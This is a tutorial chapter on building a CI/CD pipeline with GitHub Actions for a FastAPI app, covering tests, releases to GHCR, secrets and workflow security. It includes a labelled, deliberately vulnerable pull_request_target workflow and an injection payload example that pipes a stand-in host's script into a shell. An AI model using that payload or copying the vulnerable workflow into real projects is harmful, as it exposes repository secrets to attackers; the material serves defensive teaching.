Chapter 5 · Ship It
CI/CD with GitHub Actions
- Page 19 of 22
- 30 min read
Every team that ships software hits the same moment: someone merges a change that "worked on my machine", the tests were never run, and production breaks on Friday evening. Continuous integration (CI) removes that moment. On every push and every pull request a clean machine checks out the code, installs it from scratch, lints it and runs the tests, and the pull request shows a green tick or a red cross. Continuous delivery/deployment (CD) goes one step further and ships the result: it builds the Docker image from Docker: Packaging Your API, pushes it to a registry and deploys it.
For AI backends this is worth more than usual. Prompts, model files and dependency versions change often, a silent regression costs real money per request, and the only trustworthy answer to "does the main branch still work?" is a machine that is not yours. GitHub Actions is the CI/CD system built into GitHub; the workflows are YAML files in your repository. This page builds a complete pipeline for a small FastAPI app, runs every command it uses on your own machine first, and ends with the security habits that decide whether your pipeline is an asset or an attack surface.
What you will learn
- CI versus CD, and the anatomy of a workflow: events, jobs, steps, actions and runners.
- A real CI workflow: checkout, Python, caching, lint, tests across a matrix, and a PostgreSQL service container.
- Secrets, the
GITHUB_TOKENand least-privilegepermissions; building and pushing an image to GHCR on a release tag; a deploy job guarded by an environment. - Secure workflow design: the
pull_request_targetdanger, script injection, SHA pinning, Dependabot and scanning. - Debugging a failing run and reproducing it locally.
CI, delivery and deployment
| Term | What happens automatically | What a human still does |
|---|---|---|
| Continuous integration | Build, lint and test every change | Review and merge |
| Continuous delivery | Also build a release artifact (an image) that is always ready to ship | Presses the "deploy" button |
| Continuous deployment | Also deploys every green change to production | Nothing, so the tests must be very good |
Most teams do CI on every pull request, build an image when a release tag is pushed, and deploy to production only after a human approves. That is exactly the pipeline you will build.
Anatomy of a workflow
A workflow is one YAML file in .github/workflows/. An event (a push, a pull request, a tag, a schedule, a button click) triggers it. A workflow has one or more jobs; each job runs on its own fresh virtual machine, the runner, and is made of steps that run in order. A step either runs a shell command (run:) or uses a packaged action (uses:), a reusable piece such as "check out the repository".
event (push, pull_request, tag ...)
|
v
workflow ci.yml
|-- job lint --> runner VM 1: step checkout -> step setup-python -> step ruff
|-- job test --> runner VM 2: step checkout -> ... -> step pytest (jobs run in parallel
| (+ service container: postgres) unless you add needs:)
'-- job deploy --needs: test --> runner VM 3 ...Two facts shape everything. First, jobs share nothing: a file created in one job is gone in the next, unless you pass it with an artifact or a job outputs value. Second, the runner is a clean machine every time, which is exactly the point: if your code only works because of something left on your laptop, CI finds out. runs-on: ubuntu-latest is Ubuntu 24.04 today; GitHub plans to move the label to 26.04 in November 2026, so if a change of operating system would hurt you, write ubuntu-24.04 and upgrade on your own schedule. Public repositories get free minutes; private repositories on the free plan get 2,000 minutes a month.
The project the pipeline protects
The app is the review analyser again, kept small: a keyword rule stands in for the model. Create the project, its dependency files, and a Git repository:
mkdir -p ~/projects/review-ci && cd ~/projects/review-ci
git init -q
python -m venv .venv && source .venv/bin/activate# file: main.py
"""Review analyser: the app our CI pipeline protects."""
from typing import Annotated, Literal
from fastapi import FastAPI
from pydantic import BaseModel, Field
POSITIVE = {"good", "great", "excellent", "clear", "helpful"}
NEGATIVE = {"bad", "boring", "confusing", "slow", "broken"}
app = FastAPI(title="Review Analyser", version="0.1.0")
class Review(BaseModel):
text: Annotated[str, Field(min_length=3, max_length=2000)]
class Analysis(BaseModel):
sentiment: Literal["positive", "negative", "neutral"]
score: float
@app.get("/health")
def health() -> dict[str, str]:
return {"status": "ok"}
@app.post("/v1/analyse")
def analyse(review: Review) -> Analysis:
words = [w.strip(".,!?").lower() for w in review.text.split()]
score = round((sum(w in POSITIVE for w in words) - sum(w in NEGATIVE for w in words)) / len(words), 2)
return Analysis(sentiment="positive" if score > 0 else "negative" if score < 0 else "neutral", score=score)Tests come in two files. test_main.py needs nothing but the app. test_db.py needs a real PostgreSQL, so it skips itself when DATABASE_URL is not set. Hold on to that skip: in CI it is a trap, and we will see why.
# file: test_main.py
from fastapi.testclient import TestClient
from main import app
client = TestClient(app)
def test_health():
assert client.get("/health").json() == {"status": "ok"}
def test_positive_review():
body = client.post("/v1/analyse", json={"text": "Great and clear course"}).json()
assert body == {"sentiment": "positive", "score": 0.5}
def test_short_text_is_rejected():
assert client.post("/v1/analyse", json={"text": "ok"}).status_code == 422# file: test_db.py
import os
import psycopg
import pytest
URL = os.environ.get("DATABASE_URL")
pytestmark = pytest.mark.skipif(not URL, reason="DATABASE_URL is not set")
def test_postgres_roundtrip():
with psycopg.connect(URL) as conn:
conn.execute("create temp table scores (label text, score real)")
conn.execute("insert into scores values ('positive', 0.5)")
assert conn.execute("select count(*) from scores").fetchone() == (1,)Dependencies go in two small files. requirements-dev.txt includes the first one, so production images install less than CI does. (httpx2 is what TestClient needs, as explained in the beginner tutorial. With uv, the same split is a [dependency-groups] table in pyproject.toml and a committed uv.lock; a lockfile is the better habit, requirements files keep this page simple.)
# file: requirements.txt
fastapi[standard]>=0.143
psycopg[binary]>=3.2# file: requirements-dev.txt
-r requirements.txt
pytest>=8
httpx2# file: .gitignore
.venv/
__pycache__/
.pytest_cache/
.ruff_cache/A CI file is just commands you could type. So the first job is to run those commands yourself, and only then to copy them into YAML. Install, lint, test:
pip install -q -r requirements-dev.txt
python -m compileall -q main.py test_main.py test_db.py && echo "syntax ok"
python -m pytest -qsyntax ok
s... [100%]
3 passed, 1 skipped in 0.26sTwo things to notice. Lint: the real workflow runs ruff check ., the fast Python linter that most projects use in 2026; it is not installed in this page's offline environment, so here compileall stands in and catches syntax errors only. Do not treat it as a replacement: on your machine run pip install ruff and then ruff check .. Tests: the PostgreSQL test was skipped (the s), and pytest still exited with success. Now point it at a database, the same way the workflow will (a variable set in front of one command lasts for that command only, so the rest of the page still runs without a database):
DATABASE_URL=postgresql://postgres:postgres@localhost:5432/postgres python -m pytest -qWith a PostgreSQL server listening at that address, the database test runs too and pytest reports four passed tests instead of three passed and one skipped.
Why python -m pytest and not plain pytest? It adds the current folder to the import path, so from main import app works without any packaging. This is a common reason for "passes locally, fails in CI". Commit what you have; the workflow files come next.
git add . && git commit -q -m "Add review analyser with tests"
git log --oneline0e3ec7f Add review analyser with testsYour first CI workflow
Create .github/workflows/ci.yml. Read it top to bottom; the notes below explain each decision.
# file: .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
lint:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: "3.14"
- run: pip install ruff
- run: ruff check .
test:
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
python-version: ["3.12", "3.14"]
services:
postgres:
image: postgres:18
env:
POSTGRES_PASSWORD: postgres
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 5s
--health-timeout 5s
--health-retries 10
env:
DATABASE_URL: postgresql://postgres:postgres@localhost:5432/postgres
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: python -m pytest -qTriggers
| Trigger | Fires when | Notes |
|---|---|---|
push with branches: [main] | Commits land on main | Without the filter, every push to every branch runs, and a pull request branch runs twice (push and pull_request). |
pull_request | A PR is opened, updated or reopened | Runs on the merge result of the PR with the PR's own workflow file. For PRs from forks the token is read-only and secrets are not passed. |
workflow_dispatch | Someone clicks "Run workflow" (or calls the API/gh workflow run) | Lets you re-run on demand; can declare inputs. |
schedule (cron) | Time, in UTC | Only runs from the default branch; can be delayed under load. |
push with tags: ["v*"] | A tag such as v0.1.0 is pushed | Used below to start a release. |
What each part is doing
permissions: contents: readat the top shrinks the automaticGITHUB_TOKENto read-only on the repository. Anything a job needs beyond that is granted on that job only.concurrencywithcancel-in-progresscancels the older run of the same branch when you push again, which saves minutes.timeout-minutesstops a hung test from burning your quota for the default six hours.persist-credentials: falsestops checkout from leaving the token in.git/configwhere later steps (or a compromised dependency) could read it.- The matrix runs the
testjob once per Python version, in parallel. 3.12 is the oldest version the code supports, 3.14 is what the Dockerfile uses.fail-fast: falselets both finish so you see all failures. - Caching:
cache: pipinsetup-pythonstores pip's download cache, keyed on the hash of the files named incache-dependency-path. For anything else you want to keep between runs (a downloaded model, a Hugging Face cache,~/.cache/uv) useactions/cache@v6with a key that changes when the content should. A cache only speeds things up; the build must still work from an empty cache. - The service container:
services:starts PostgreSQL as a Docker container next to the job, with the health check making the job wait until the database accepts connections. Because the steps run directly on the runner, the database is reachable atlocalhost:5432through the published port (if a job itself runs in a container, use the service namepostgresas host instead). This is the sameDATABASE_URLyou exported a minute ago, so the database test now runs for real.
The skipped test is a trap. If the service container broke and
DATABASE_URLwere empty, pytest would report green with a skip. For tests you require, usepytest -rsto print skip reasons, or fail on skips in CI by setting an environment variable the test checks. A green tick should mean "everything ran".
The uv version
If your project uses uv (the default for this course), the job shrinks, and setup-uv manages Python and the cache. Notice also an actions/cache@v6 step for a model cache. This is a documentation file, not a live workflow, so it does not run:
# file: docs/ci-uv-example.yml
name: CI (uv)
on: [push, pull_request]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: astral-sh/setup-uv@v10
with:
enable-cache: true
- uses: actions/cache@v6
with:
path: ~/.cache/huggingface
key: hf-${{ runner.os }}-${{ hashFiles('uv.lock') }}
- run: uv sync --locked
- run: uv run python -m pytest -qThe --locked flag makes the job fail if uv.lock does not match pyproject.toml, so the pipeline tests the versions you committed and nobody else's.
Check the YAML before GitHub does
Pushing to find out your YAML has a typo costs a minute per attempt. If you have actionlint installed, run actionlint in the repository root: it understands the workflow schema, expressions and even your shell scripts. It is not installed in this page's environment, so nothing is shown from it. What you can always do is check that the file is valid YAML with the structure you intended. PyYAML does that, and teaches a classic trap on the way:
import yaml
from pathlib import Path
ci = yaml.safe_load(Path(".github/workflows/ci.yml").read_text())
print(list(ci))['name', True, 'permissions', 'concurrency', 'jobs']The key on became True. PyYAML follows YAML 1.1, where on, yes and true are booleans; GitHub's parser does not do that. It is harmless on GitHub, but it means your own tooling must look for both. Here is a helper that prints the shape of any workflow:
def load(path):
return yaml.safe_load(Path(path).read_text())
def triggers(wf):
on = wf["on"] if "on" in wf else wf[True]
if isinstance(on, str):
return [on]
return list(on)
def summary(path):
wf = load(path)
print(f"{path}: {wf['name']}")
print(" triggers :", ", ".join(triggers(wf)))
print(" permissions:", wf.get("permissions", "MISSING"))
for name, job in wf["jobs"].items():
steps = job["steps"]
uses = [s["uses"] for s in steps if "uses" in s]
extra = [k for k in ("services", "strategy", "environment", "needs", "permissions") if k in job]
print(f" job {name}: {len(steps)} steps; also {extra}")
print(" uses:", ", ".join(uses))
summary(".github/workflows/ci.yml").github/workflows/ci.yml: CI
triggers : push, pull_request, workflow_dispatch
permissions: {'contents': 'read'}
job lint: 4 steps; also []
uses: actions/checkout@v7, actions/setup-python@v7
job test: 4 steps; also ['services', 'strategy']
uses: actions/checkout@v7, actions/setup-python@v7This is the structure we taught: top-level read-only permissions, two jobs, a matrix and a service on the test job, and every action named with its version. Keep load and summary; you will use them again.
Secrets and the GITHUB_TOKEN
A workflow often needs credentials: a registry password, a deploy hook, an LLM key for an evaluation job. GitHub gives you two kinds.
| Repository/environment secrets | GITHUB_TOKEN | |
|---|---|---|
| Who makes it | You (Settings, Secrets and variables, Actions) | GitHub, a new one for every job |
| Lifetime | Until you rotate it | Expires when the job ends |
| Power | Whatever the external service allows | Only what permissions: grants, on this repository only |
| Use for | Third-party services (cloud, LLM APIs, deploy hooks) | GitHub itself: push to GHCR, comment on a PR, create a release |
Prefer the token over a stored personal access token whenever the target is GitHub. Create a secret from your terminal with the GitHub CLI (this talks to github.com, so it is shown without output); the value is read from standard input and never goes into your shell history:
gh secret set DEPLOY_HOOK_URL --env production < deploy-hook.txtUse a secret in a step through env:, as ${{ secrets.DEPLOY_HOOK_URL }}. GitHub masks secret values in logs, but masking is only string matching: if your code prints the secret base64-encoded or in pieces, it leaks. Secrets are not passed to workflows triggered by pull requests from forks, which is a feature.
Least-privilege permissions
The permissions: key lists scopes such as contents, packages, pull-requests, id-token, each read, write or none. The moment you write any permissions: key, every scope you did not mention becomes none. The pattern: deny by default at the top, grant per job.
permissions: <- workflow level: contents: read (everyone gets this)
jobs:
image:
permissions: <- job level: contents: read + packages: write
deploy:
(nothing) <- inherits read-only, cannot push packagesReleases: tags, a GHCR image and a guarded deploy
A release is a Git tag. Pushing v0.1.0 should build the image, push it to the GitHub Container Registry (ghcr.io), and then deploy it after a human approves. Tags come from Advanced Git: stash, rebase, cherry-pick, reflog and tags; use an annotated tag for releases because it records who tagged and why. Image names on GHCR must be lowercase, but your GitHub name may not be, so the workflow lowercases the repository name with a Bash expansion. Try that expansion here:
GITHUB_REPOSITORY=Nadia-Rahman/Review-CI
echo "ghcr.io/${GITHUB_REPOSITORY,,}"ghcr.io/nadia-rahman/review-ciAdd a minimal Dockerfile (the multi-stage uv version is on the Docker page) and the release workflow:
# file: Dockerfile
FROM python:3.14-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY main.py .
RUN useradd --create-home app
USER app
CMD ["fastapi", "run", "main.py", "--port", "8000"]# file: .github/workflows/release.yml
name: Release
on:
push:
tags: ["v*"]
permissions:
contents: read
jobs:
image:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
outputs:
image: ${{ steps.name.outputs.image }}
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- id: name
run: echo "image=ghcr.io/${GITHUB_REPOSITORY,,}" >> "$GITHUB_OUTPUT"
- uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@v7
with:
context: .
push: true
tags: |
${{ steps.name.outputs.image }}:${{ github.ref_name }}
${{ steps.name.outputs.image }}:latest
deploy:
needs: image
runs-on: ubuntu-latest
environment:
name: production
url: https://review-api.example.com
steps:
- name: Trigger the deploy hook
env:
DEPLOY_HOOK_URL: ${{ secrets.DEPLOY_HOOK_URL }}
IMAGE: ${{ needs.image.outputs.image }}:${{ github.ref_name }}
run: |
echo "Deploying $IMAGE"
curl --fail --silent --show-error -X POST "$DEPLOY_HOOK_URL"- Only the
imagejob can write packages.docker/login-action@v4signs in toghcr.iowith the job's ownGITHUB_TOKEN, so there is no password to steal or rotate. - Two tags per image: the immutable version (
v0.1.0) and the movinglatest. Deploy the version, neverlatest, so you can roll back by deploying the previous tag. For more elaborate tags and labels,docker/metadata-actiongenerates them; multi-platform builds and layer caching in Actions needdocker/setup-buildx-actiontoo. - Environments.
environment: productionties the job to a named environment you configure in Settings. There you can require reviewers (the job pauses until one approves), restrict which branches or tags may deploy, add a wait timer, and store secrets that only this job can read. Theurlappears on the run page. The test and image jobs never see production secrets. - Secret via
env:, not interpolated into the script. More on why in the security section. - The deploy step is a stand-in for whatever your host offers (a deploy hook,
gh,kubectl, an SSH command). Deployment targets are the next page.
Now do the Git half for real. A bare repository is exactly what GitHub is from Git's point of view, so push the commit and an annotated tag to one:
git init -q --bare ~/remotes/review-ci.git
git remote add origin ~/remotes/review-ci.git
git add . && git commit -q -m "Add CI and release workflows, Dockerfile"
git push -q -u origin main
git tag -a v0.1.0 -m "First release"
git push -q origin v0.1.0
git ls-remote --tags ~/remotes/review-ci.git270f5a330e06449c43e933891c402cccb581e9f4 refs/tags/v0.1.0
e326263814f1e7542419b1995244de4b9d29f71f refs/tags/v0.1.0^{}On GitHub, that second push is the event that starts release.yml. The two lines for one tag are worth understanding: refs/tags/v0.1.0 is the tag object (who, when, message), and refs/tags/v0.1.0^{} is the commit it points to, the "peeled" value. Remember this when pinning actions below. Pushing to the real GitHub is the same two commands against your real remote, so it is not run here:
git remote add origin git@github.com:nadia-rahman/review-ci.git
git push -u origin main && git push origin v0.1.0
gh run list --workflow release.yml --limit 3Secure workflow design
A workflow is code that runs with your credentials, triggered by events that strangers can cause (anyone can open a pull request on a public repository). Most real-world Actions compromises come from a handful of mistakes. Here are the four that matter, then a checker you can run on your own files.
1. The pull_request_target danger
pull_request from a fork runs with a read-only token and no secrets. pull_request_target was designed for jobs that must write to the base repository (labelling a PR, say), so it runs the workflow from the base branch with secrets and a write token. That is safe only while the job never runs code the PR author controls. The classic disaster is the combination below: check out the PR's code, then run its tests. An attacker's pull request now executes arbitrary code with your secrets. Never combine pull_request_target (or workflow_run) with a checkout of the PR head followed by building, installing or running anything from it. Below is a deliberately bad file, saved outside .github/ so it never runs; it also contains the second mistake.
# file: docs/bad-pr-target.yml
name: Bad example (do not copy)
on:
pull_request_target:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: echo "Testing ${{ github.event.pull_request.title }}"
- run: pip install -r requirements.txt && python -m pytest
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}2. Script injection
Before the shell ever sees it, GitHub replaces ${{ ... }} with the value, as plain text. If the value is a pull request title, an issue body, a branch name or a commit message, an attacker chooses it. A title of "; curl evil.sh | sh; echo " turns the line above into a command. The fix is to pass untrusted values through env: and use them as ordinary shell variables, quoted: env: TITLE: ${{ github.event.pull_request.title }} then echo "Testing $TITLE". A shell variable is data; interpolated text is code. The same applies to github.head_ref, github.ref_name for branches, and anything under github.event that a user typed.
3. Least privilege, everywhere
- Top-level
permissions: contents: read, extra scopes per job (as inrelease.yml). - Secrets only in the steps that need them, via
env:on that step, not on the whole job or workflow. Environment secrets for deploy keys. - Do not give fork pull requests anything (the default). Do not pass
secrets: inheritto reusable workflows you do not control. - In Settings, Actions, set the default workflow token permission to read-only, and restrict which actions may run (GitHub's own plus an allow-list).
4. Pin third-party actions to a commit SHA
A version like @v4 is a tag, and a tag is a movable pointer: whoever controls the action's repository (or steals their credentials) can move v4 to malicious code, and your next run executes it with your token. In 2025 exactly this happened to a popular third-party action and leaked secrets from thousands of repositories. A full 40-character commit SHA cannot be moved. See the difference with a throwaway repository standing in for an action's repo:
mkdir -p ~/tmp/some-action && cd ~/tmp/some-action && git init -q
echo "safe" > action.txt && git add . && git commit -q -m "v1 release"
git tag v1
PINNED=$(git rev-parse v1)
echo "pinned: $PINNED"
echo "malicious" > action.txt && git commit -q -am "attacker commit"
git tag -f v1 > /dev/null
echo "tag v1 now: $(git rev-parse v1)"
echo "the pin still points at: $(git show $PINNED:action.txt)"
cd ~/projects/review-cipinned: 9859bf41a7e4a9ca50a8be16644b4ff973a9eaf3
tag v1 now: a212543f373f717ee1af6b7c534eba594c8f0fc5
the pin still points at: safeThe pattern in a workflow keeps the human-readable version in a comment, so tools can still read and update it:
# file: docs/pinned-example.yml
name: Pinning pattern
on: [push]
permissions:
contents: read
jobs:
scan:
runs-on: ubuntu-latest
steps:
# Placeholder, not a real action: replace the text after @ with the 40-character
# commit SHA you verified, and keep the version in the comment.
- uses: example-org/third-party-action@PASTE_THE_FULL_40_CHAR_COMMIT_SHA_HERE # v1.2.3How do you get the right SHA? Open the action's repository, find the release or tag, and copy the full commit hash from the commit it points to; or ask Git. For a tag, list both lines: if the tag is annotated, the line ending in ^{} is the commit (the one you want) and the line without it is the tag object, exactly like the v0.1.0 output above. This talks to GitHub, so it is shown without output:
git ls-remote https://github.com/actions/checkout "refs/tags/v7*"Read the code at that commit before you trust it, then paste the hash. Once pinned, Dependabot keeps the pin fresh: it opens a pull request that changes the SHA and the version comment together, and you review the diff. Many teams pin only third parties (anything outside actions/ and github/) and accept version tags for GitHub's own actions; stricter teams pin everything, and GitHub has a repository setting to require full-length SHA pins. Docker images deserve the same care: a @sha256: digest cannot move, a tag can.
Dependabot and scanning
The file below makes Dependabot check Python packages, the actions in your workflows and the Docker base image every week, and open pull requests for updates. CI then tests each update automatically, which is the real payoff of having tests.
# file: .github/dependabot.yml
version: 2
updates:
- package-ecosystem: pip
directory: /
schedule:
interval: weekly
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
- package-ecosystem: docker
directory: /
schedule:
interval: weeklyIf your project uses uv, use the uv ecosystem instead of pip so uv.lock is updated.
| Tool | Catches | Where |
|---|---|---|
| Secret scanning + push protection | API keys and tokens in commits (blocks the push) | On by default for public repositories; see Git for AI Projects: Data, Models, LFS, DVC and Leaked Secrets |
| Dependabot alerts and security updates | Known-vulnerable dependencies | Repository Security settings |
| Dependency review action | A pull request that adds a vulnerable or disallowed dependency | A step in a PR workflow |
| Code scanning (CodeQL) | Injection, path traversal and other bugs in your code | Free for public repositories |
pip-audit | Vulnerable packages in your environment (see API Security and the OWASP API Top 10) | A CI step |
A workflow checker
Here is a small policy checker over the helpers from earlier: it reports a missing permissions, pull_request_target, a checkout of the PR head, untrusted text interpolated into a run: script, and unpinned third-party actions. It is a teaching tool; real projects also use actionlint, and tools like zizmor that specialise in Actions security.
import re
FIRST_PARTY = ("actions/", "github/")
SHA = re.compile(r"@[0-9a-f]{40}$")
INJECT = re.compile(r"\$\{\{\s*github\.(head_ref|event\.\S*(title|body|ref|name|message|label))")
def audit(path):
wf, found = load(path), []
if "permissions" not in wf:
found.append("no top-level permissions: (default token rights apply)")
if "pull_request_target" in triggers(wf):
found.append("DANGER pull_request_target: secrets and a write token")
for name, job in wf["jobs"].items():
for step in job["steps"]:
use = step.get("uses", "")
if use and not use.startswith(FIRST_PARTY) and not SHA.search(use):
found.append(f"{name}: pin {use.split('@')[0]} to a commit SHA")
if "head" in str(step.get("with", {}).get("ref", "")):
found.append(f"DANGER {name}: checks out the pull request's code")
if INJECT.search(step.get("run", "")):
found.append(f"DANGER {name}: untrusted text inside a run: script")
return found
workflows = sorted(Path(".github/workflows").glob("*.yml")) + sorted(Path("docs").glob("*.yml"))
for path in workflows:
findings = audit(path)
print(f"{path}: {'clean' if not findings else ''}")
for item in findings:
print(" -", item)
print(bool(SHA.search("owner/repo@" + "a" * 40)), bool(SHA.search("owner/repo@v4"))).github/workflows/ci.yml: clean
.github/workflows/release.yml:
- image: pin docker/login-action to a commit SHA
- image: pin docker/build-push-action to a commit SHA
docs/bad-pr-target.yml:
- no top-level permissions: (default token rights apply)
- DANGER pull_request_target: secrets and a write token
- DANGER test: checks out the pull request's code
- DANGER test: untrusted text inside a run: script
docs/ci-uv-example.yml:
- test: pin astral-sh/setup-uv to a commit SHA
docs/pinned-example.yml:
- scan: pin example-org/third-party-action to a commit SHA
True FalseRead the result as a reviewer would. ci.yml is clean. release.yml uses the docker/* actions by tag: for a stricter policy you would pin those. docs/ci-uv-example.yml shows that astral-sh/setup-uv is third-party too. The bad example trips every check, and the pinning example reports its placeholder as unpinned, which is correct, because a placeholder is not a SHA. (dependabot.yml is configuration, not a workflow, so the loop does not read it. The last line proves the regular expression: 40 hexadecimal characters pass, a version tag does not.)
Debugging a failing run
Open the red run, click the first failing step, and read the first error, not the last line. The usual causes:
| Symptom | Likely cause | Fix |
|---|---|---|
ModuleNotFoundError only in CI | A file you forgot to commit, a dependency missing from the requirements, or a package that only your venv had | Reproduce from a clean clone (below) |
| Fails on one matrix entry | Python-version difference (3.12 vs 3.14) | Run the tests with that version locally |
| DB tests fail or are skipped | Service not healthy yet, wrong host or port, missing DATABASE_URL | Check the service logs in the job and the options health check |
Resource not accessible by integration (403) | The token lacks a permission, e.g. packages: write | Grant it on that job only |
| Secret is empty | Run came from a fork, the secret is in another environment, or the name is misspelt | Check where the secret is defined and which job uses which environment |
| Passes locally, fails in CI, flaky | Timing, test order, network, time zone, leftover local files | Re-run once to confirm, then fix the test; do not just add retries |
Tools for the investigation: Re-run failed jobs in the UI; Re-run with debug logging (or set the repository variable ACTIONS_STEP_DEBUG to true) for more detail; actions/upload-artifact to keep test reports and logs from a failed job; and from the terminal, with the GitHub CLI (shown without output because they talk to GitHub):
gh run list --limit 5
gh run view --log-failed
gh run rerun --failedThe best habit is to reproduce CI's situation on your machine: a fresh clone (only what is committed), a fresh virtual environment (only what the requirements file lists), and the same command. Let us break the project in the classic way, a helper module that exists on your disk but was never committed, and watch the clean clone catch it:
source = Path("main.py").read_text()
source = source.replace("review.text.split()", "clean(review.text).split()")
source = source.replace("from fastapi import FastAPI", "from fastapi import FastAPI\n\nfrom helpers import clean")
Path("main.py").write_text(source)
Path("helpers.py").write_text("def clean(text):\n return text.replace('\\n', ' ')\n")python -m pytest -q 2>&1 | tail -n 1
git add .github docs && git commit -q -m "Add Dependabot config and workflow examples"
git add main.py && git commit -q -m "Clean review text before scoring" && git push -q origin main
git status --short3 passed, 1 skipped in 0.26s
?? helpers.pyGreen on your machine, and git status shows the clue (?? means untracked). Now do what the CI runner does:
rm -rf ~/ci-sim && git clone -q ~/remotes/review-ci.git ~/ci-sim && cd ~/ci-sim
python -m venv .venv && .venv/bin/pip install -q -r requirements-dev.txt
.venv/bin/python -m pytest -q -x 2>&1 | grep -E "^E |passed|error"
cd ~/projects/review-ciE ModuleNotFoundError: No module named 'helpers'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 error during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
1 error in 0.30sThe same failure you would have seen in the Actions log, found in seconds, with no push-and-wait cycle. Fix it the way you would in the real repository: commit the missing file, then repeat the clean-clone check.
git add helpers.py && git commit -q -m "Add helpers module" && git push -q origin main
cd ~/ci-sim && git pull -q && .venv/bin/python -m pytest -q 2>&1 | tail -n 1
cd ~/projects/review-ci3 passed, 1 skipped in 0.26sTools such as act run workflows in local Docker containers; they are handy for quick experiments but never identical to GitHub's runners, so a clean clone with the same commands is the more reliable first check.
Real-world use
- Quality gates for model code: the same pipeline runs a small evaluation set against your prompt or model version and fails the pull request if accuracy drops, so quality regressions are caught before users see them (a later topic on evals builds this).
- Required checks: with a branch ruleset (see Working as a Team on GitHub) requiring the
lintandtestjobs, nobody can merge red code, including you at 2 a.m. - Image per release: every tag produces an image in GHCR; rollback means deploying the previous tag.
- Scheduled jobs: a nightly
scheduleworkflow can re-run slow integration tests, refresh a dataset or check that an upstream API still behaves. - Cost control: timeouts,
concurrency, caches and path filters keep a free quota usable; GPU or large runners are paid, so never run training in CI by default.
Common mistakes
- Granting
write-allor leaving the defaults. A compromised step then owns your repository. Write top-levelpermissions: contents: readand widen per job. - Using
pull_request_targetto "get secrets in PR builds". It hands secrets to untrusted code. Usepull_request, and run privileged follow-up work from a separate, trusted workflow that never executes PR code. - Interpolating
${{ github.event... }}insiderun:. That is script injection. Pass values throughenv:. - Trusting
@v4and moving tags for third-party actions. Pin to a full SHA and let Dependabot update it. - Treating a green tick as proof when tests silently skip, or when the CI commands differ from the ones you run locally. Use the same commands, and print skip reasons.
Try it yourself
- Easy: Write
.github/workflows/nightly.yml: it runs the tests every day at 02:00 UTC and can also be started by hand, with read-only permissions. Check it withsummary. - Medium: Write a safe replacement for the bad example: trigger
pull_request, read-only permissions, the PR title passed throughenv, no secrets. Prove withauditthat it is clean. - Hard: Write
pin_report(path)that, for every unpinned third-party action in a workflow, prints the replacement line with the placeholder<COMMIT-SHA>and the old version as a comment. Run it onrelease.yml.
Answers
Easy. schedule takes cron syntax in UTC (minute, hour, day, month, weekday).
# file: .github/workflows/nightly.yml
name: Nightly tests
on:
schedule:
- cron: "0 2 * * *"
workflow_dispatch:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: "3.14"
- run: pip install -r requirements-dev.txt
- run: python -m pytest -qsummary(".github/workflows/nightly.yml").github/workflows/nightly.yml: Nightly tests
triggers : schedule, workflow_dispatch
permissions: {'contents': 'read'}
job test: 4 steps; also []
uses: actions/checkout@v7, actions/setup-python@v7Medium.
# file: docs/safe-pr.yml
name: Safe PR check
on:
pull_request:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- name: Show the title safely
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Testing $TITLE"
- run: pip install -r requirements-dev.txt && python -m pytest -qprint(audit("docs/safe-pr.yml") or "clean")cleanHard.
def pin_report(path):
for name, job in load(path)["jobs"].items():
for step in job["steps"]:
use = step.get("uses", "")
if use and not use.startswith(FIRST_PARTY) and not SHA.search(use):
action, version = use.split("@")
print(f"- uses: {action}@<COMMIT-SHA> # {version}")
pin_report(".github/workflows/release.yml")- uses: docker/login-action@<COMMIT-SHA> # v4
- uses: docker/build-push-action@<COMMIT-SHA> # v7Replace each <COMMIT-SHA> with the commit you verified (see the git ls-remote recipe above).
Summary
- CI runs your lint and tests on a clean machine for every push and pull request; CD builds and ships the result. A workflow is YAML in
.github/workflows/: events trigger jobs, jobs run steps on fresh runners, and steps run commands or actions (actions/checkout@v7,actions/setup-python@v7,actions/cache@v6,astral-sh/setup-uv@v10). - Use the same commands as on your laptop (
python -m pytest -q), a matrix for Python versions, caching, and aservices:PostgreSQL container with a health check. Make sure skipped tests cannot hide a broken setup. - Start with
permissions: contents: readand grant more per job; prefer the short-livedGITHUB_TOKENto stored tokens; keep real secrets in secrets and environments. - Releases are tags: push a tag, build with
docker/build-push-action@v7, log in to GHCR withdocker/login-action@v4, and deploy through an environment that can require approval. - Never run PR code under
pull_request_target, never interpolate untrusted text intorun:, pin third-party actions to commit SHAs, and let Dependabot and scanners watch the rest. - Debug by reading the first error, then reproduce from a fresh clone and a fresh venv.
Next: Deployment and Production Readiness takes the image this pipeline builds and puts it on a real host, with HTTPS, health checks, migrations, logging and a rollback plan.